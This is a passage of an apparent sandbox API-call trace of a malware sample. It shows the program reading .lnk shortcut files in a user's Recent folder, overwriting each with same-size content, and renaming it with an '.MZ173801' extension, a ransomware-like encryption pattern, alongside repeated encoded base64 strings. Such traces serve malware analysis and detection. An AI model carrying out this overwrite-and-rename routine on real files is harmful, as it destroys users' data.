lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0k5pff8__nmIF0D.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0k5pff8__nmif0d.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e)) returned 1 [0120.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.397] GetCurrentThreadId () returned 0x9fc [0120.397] GetCurrentThreadId () returned 0x9fc [0120.397] GetCurrentThreadId () returned 0x9fc [0120.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.398] GetCurrentThreadId () returned 0x9fc [0120.398] GetCurrentThreadId () returned 0x9fc [0120.398] GetCurrentThreadId () returned 0x9fc [0120.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0k5pff8__nmIF0D.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0k5pff8__nmif0d.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.398] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.398] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.398] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa6e [0120.398] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.398] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa6e, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa6e, lpOverlapped=0x0) returned 1 [0120.399] CloseHandle (hObject=0x288) returned 1 [0120.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0k5pff8__nmIF0D.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0k5pff8__nmif0d.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.400] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa6e, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa6e, lpOverlapped=0x0) returned 1 [0120.401] CloseHandle (hObject=0x288) returned 1 [0120.409] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0k5pff8__nmIF0D.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0k5pff8__nmif0d.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0k5pff8__nmIF0D.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0k5pff8__nmif0d.lnk.mz173801")) returned 1 [0120.410] GetCurrentThreadId () returned 0x9fc [0120.410] GetCurrentThreadId () returned 0x9fc [0120.411] GetCurrentThreadId () returned 0x9fc [0120.411] GetCurrentThreadId () returned 0x9fc [0120.411] GetCurrentThreadId () returned 0x9fc [0120.411] GetCurrentThreadId () returned 0x9fc [0120.411] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8a5100, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf8a5100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf8a5100, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0q91R3 LR1h2M2.lnk", cAlternateFileName="0Q91R3~1.LNK")) returned 1 [0120.411] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.411] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0q91R3 LR1h2M2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0q91r3 lr1h2m2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8a5100, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf8a5100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf8a5100, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x320)) returned 1 [0120.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBND